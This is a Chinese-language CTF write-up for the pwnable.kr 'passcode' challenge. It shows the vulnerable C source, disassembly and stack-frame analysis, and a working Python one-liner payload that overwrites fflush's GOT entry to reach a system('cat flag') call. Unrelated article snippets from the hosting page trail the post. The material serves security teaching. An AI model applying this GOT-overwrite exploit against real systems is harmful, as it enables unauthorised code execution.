pwnable passcode 10pt

简介: 题目在ssh passcode@pwnable.kr -p2222 (pw:guest)先看passcode.c:#include #include void login(){ int ...

题目在

ssh passcode@pwnable.kr -p2222 (pw:guest)

先看passcode.c

#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1); // 控制
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag"); // 目标
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

先看login,我们的目标是执行system函数,这个函数位于if里面,判断条件是passcode1passcode2的值。

但是上面的scanf中,作者忘了写取地址&,导致我们不能通过scanf控制这两个函数的值。也就是说,我们只能够写入scanf所指向的地址,而且如果它不能写入就崩溃。

然后我们看一下汇编,同目录下有个passcode,拿objdump反编译:

先是main

08048665 <main>:
 8048665:   55                      push   %ebp
 8048666:   89 e5                   mov    %esp,%ebp
 8048668:   83 e4 f0                and    $0xfffffff0,%esp
 804866b:   83 ec 10                sub    $0x10,%esp
 804866e:   c7 04 24 f0 87 04 08    movl   $0x80487f0,(%esp)
 8048675:   e8 d6 fd ff ff          call   8048450 <puts@plt>
 804867a:   e8 8a ff ff ff          call   8048609 <welcome>
 804867f:   e8 e0 fe ff ff          call   8048564 <login>
 8048684:   c7 04 24 18 88 04 08    movl   $0x8048818,(%esp)
 804868b:   e8 c0 fd ff ff          call   8048450 <puts@plt>
 8048690:   b8 00 00 00 00          mov    $0x0,%eax
 8048695:   c9                      leave  
 8048696:   c3                      ret    

我们可以看到,按照他这种调用方式,loginwelcome的栈基址(EBP)是相同的。

然后是welcome

08048609 <welcome>:
 8048609:   55                      push   %ebp
 804860a:   89 e5                   mov    %esp,%ebp
 804860c:   81 ec 88 00 00 00       sub    $0x88,%esp
 8048612:   65 a1 14 00 00 00       mov    %gs:0x14,%eax
 8048618:   89 45 f4                mov    %eax,-0xc(%ebp) ; canary
 804861b:   31 c0                   xor    %eax,%eax
 804861d:   b8 cb 87 04 08          mov    $0x80487cb,%eax
 8048622:   89 04 24                mov    %eax,(%esp)
 8048625:   e8 f6 fd ff ff          call   8048420 <printf@plt>
 804862a:   b8 dd 87 04 08          mov    $0x80487dd,%eax
 804862f:   8d 55 90                lea    -0x70(%ebp),%edx ; name[100]
 8048632:   89 54 24 04             mov    %edx,0x4(%esp)
 8048636:   89 04 24                mov    %eax,(%esp)
 8048639:   e8 62 fe ff ff          call   80484a0 <__isoc99_scanf@plt>
 804863e:   b8 e3 87 04 08          mov    $0x80487e3,%eax
 8048643:   8d 55 90                lea    -0x70(%ebp),%edx
 8048646:   89 54 24 04             mov    %edx,0x4(%esp)
 804864a:   89 04 24                mov    %eax,(%esp)
 804864d:   e8 ce fd ff ff          call   8048420 <printf@plt>
 8048652:   8b 45 f4                mov    -0xc(%ebp),%eax
 8048655:   65 33 05 14 00 00 00    xor    %gs:0x14,%eax
 804865c:   74 05                   je     8048663 <welcome+0x5a>
 804865e:   e8 dd fd ff ff          call   8048440 <__stack_chk_fail@plt>
 8048663:   c9                      leave  
 8048664:   c3                      ret    

我们可以推断出栈帧的情况:

+-------------+ <- ebp - 0x70
|  name[100]  |
|  (0x64)     |
+-------------+ <- ebp - 0xc
|   canary    |
+-------------+
|    ?        |
+-------------+
|    ?        |
+-------------+ <- ebp
|  old ebp    |
+-------------+
|  ret addr   |
+-------------+

我们看到这个函数启用了栈检测,也就是说,不能将返回地址直接覆盖为目标地址(如果这样就太简单了)。

然后是login

08048564 <login>:
 8048564:   55                      push   %ebp
 8048565:   89 e5                   mov    %esp,%ebp
 8048567:   83 ec 28                sub    $0x28,%esp
 804856a:   b8 70 87 04 08          mov    $0x8048770,%eax
 804856f:   89 04 24                mov    %eax,(%esp)
 8048572:   e8 a9 fe ff ff          call   8048420 <printf@plt>
 8048577:   b8 83 87 04 08          mov    $0x8048783,%eax
 804857c:   8b 55 f0                mov    -0x10(%ebp),%edx ; passcode1
 804857f:   89 54 24 04             mov    %edx,0x4(%esp)
 8048583:   89 04 24                mov    %eax,(%esp)
 8048586:   e8 15 ff ff ff          call   80484a0 <__isoc99_scanf@plt>
 804858b:   a1 2c a0 04 08          mov    0x804a02c,%eax
 8048590:   89 04 24                mov    %eax,(%esp)
 8048593:   e8 98 fe ff ff          call   8048430 <fflush@plt>
 8048598:   b8 86 87 04 08          mov    $0x8048786,%eax
 804859d:   89 04 24                mov    %eax,(%esp)
 80485a0:   e8 7b fe ff ff          call   8048420 <printf@plt>
 80485a5:   b8 83 87 04 08          mov    $0x8048783,%eax
 80485aa:   8b 55 f4                mov    -0xc(%ebp),%edx ; passcode2
 80485ad:   89 54 24 04             mov    %edx,0x4(%esp)
 80485b1:   89 04 24                mov    %eax,(%esp)
 80485b4:   e8 e7 fe ff ff          call   80484a0 <__isoc99_scanf@plt>
 80485b9:   c7 04 24 99 87 04 08    movl   $0x8048799,(%esp)
 80485c0:   e8 8b fe ff ff          call   8048450 <puts@plt>
 80485c5:   81 7d f0 e6 28 05 00    cmpl   $0x528e6,-0x10(%ebp)
 80485cc:   75 23                   jne    80485f1 <login+0x8d>
 80485ce:   81 7d f4 c9 07 cc 00    cmpl   $0xcc07c9,-0xc(%ebp)
 80485d5:   75 1a                   jne    80485f1 <login+0x8d>
 80485d7:   c7 04 24 a5 87 04 08    movl   $0x80487a5,(%esp) ; success
 80485de:   e8 6d fe ff ff          call   8048450 <puts@plt>
 80485e3:   c7 04 24 af 87 04 08    movl   $0x80487af,(%esp) ; target
 80485ea:   e8 71 fe ff ff          call   8048460 <system@plt>
 80485ef:   c9                      leave  
 80485f0:   c3                      ret    
 80485f1:   c7 04 24 bd 87 04 08    movl   $0x80487bd,(%esp) ; fail
 80485f8:   e8 53 fe ff ff          call   8048450 <puts@plt>
 80485fd:   c7 04 24 00 00 00 00    movl   $0x0,(%esp)z 8048604:   e8 77 fe ff ff          call   8048480 <exit@plt>

可以画出栈帧如图:

+-------------+ <- ebp - 0x10
|  passcode1  |
+-------------+ <- ebp - 0xc
|  passcode2  |
+-------------+
|    ?        |
+-------------+
|    ?        |
+-------------+ <- ebp
|  old ebp    |
+-------------+
|  ret addr   |
+-------------+

对比这两个栈帧可以发现,passcode1name的最后四个字节,passcode2就是 canary。也就是说我们没办法控制passcode2,但有办法控制passcode1,所以我们有办法向一个随机地址内写四个字节。

那么我们需要用到一个(不是那么)高级技巧,将fflush或者printf的地址覆盖成我们的目标地址,也就是080485e3。我这里选择fflush进行演示吧。由于fflush是库函数,它拥有 GOT,GOT 又是可写的,所以可以这么做。

我们先查看fflush的 PLT:

08048430 <fflush@plt>:
 8048430:   ff 25 04 a0 04 08       jmp    *0x804a004
 8048436:   68 08 00 00 00          push   $0x8
 804843b:   e9 d0 ff ff ff          jmp    8048410 <_init+0x30>

0804a004就是fflush的 GOT 地址。简单来说,就是如果把这个地址的内容写成080485e3,那他就会执行对吧。所以welcomename的最后四个字节应该是0804a004,这里需要写成小端形式,\x04\xa0\x04\x08。然后loginscanf中输入目标地址,也就是080485e3,转化成十进制是134514147

好,我们构造 payload:

python -c "print 'a'*96+'\x04\xa0\x04\x08\n134514147\n'" | ./passcode

成功~

相关文章
|
6月前
【Simulink】报错:Size mismatch (size [2 x 1] ~= size [1 x 1]). The size to the left is the size of the l
【Simulink】报错:Size mismatch (size [2 x 1] ~= size [1 x 1]). The size to the left is the size of the l
|
6月前
|
存储 Serverless 文件存储
No space left on device
No space left on device
322 1
|
算法 C# C++
for (int i = 0; i < v.size() - 1; i++)
for (int i = 0; i < v.size() - 1; i++)
The Double Linknode for Linear table | Data
The some code in Data book (5th Edition) from the 54 page to 55 page
94 0
|
编译器
relocation value does not fit in 26 bits (offset: 0x10, type: 1)
relocation value does not fit in 26 bits (offset: 0x10, type: 1)
199 0
|
C++
自定义C++ void swap(int& ra, int * pb)函数
这是一个软考和c++考试的一个经典面试题,给出5空,然后了,检测swap函数怎么写,主要考察的就是对于指针与引用的理解,难点为,很多人都不知道第三空填啥,因为我们通常写的c++的swap函数没有这一行,下面给出我的答案。
112 0
|
调度
pt-summary的使用
pt-summary 打印出来的信息包括:CPU、内存、硬盘、网卡等信息,还包括文件系统、磁盘调度和队列大小、LVM、RAID、网络链接信息、netstat 的统计,以及前10的负载占用信息和vmstat信息。
315 0
|
自然语言处理 Python
解决spacy3.2报错:Can‘t find model ‘en‘.
(1)下载spacy一直没成功,把pip install spacy改成conda install spacy就可以了; (2)在命令行输入 python3 -m spacy download en 来下载英语语言包(如果是其他语言则下载其他包了),不过en现在最好用全称en_core_web_sm,这一步也可以先下载tar再pip install en_core_web_md-2.2.5.tar.gz(但是注意把文件放对路径)。 然后测试下代码:
630 0
|
开发工具
解决No space left on device问题
解决:Failed to add /run/systemd/ask-password to directory watch:No space left on device
|
监控 关系型数据库 MySQL
pt-ioprofile
pt-ioprofile是属于percona-toolkit中的一个工具,用strace和lsof来查监视进程的IO情况并打印表文件和活动IO,默认监视mysqld进程30秒 警告和风险: pt-ioprofile可能会冻结服务,crash进程,是进程变得更糟糕,或者使进程休眠。
1739 0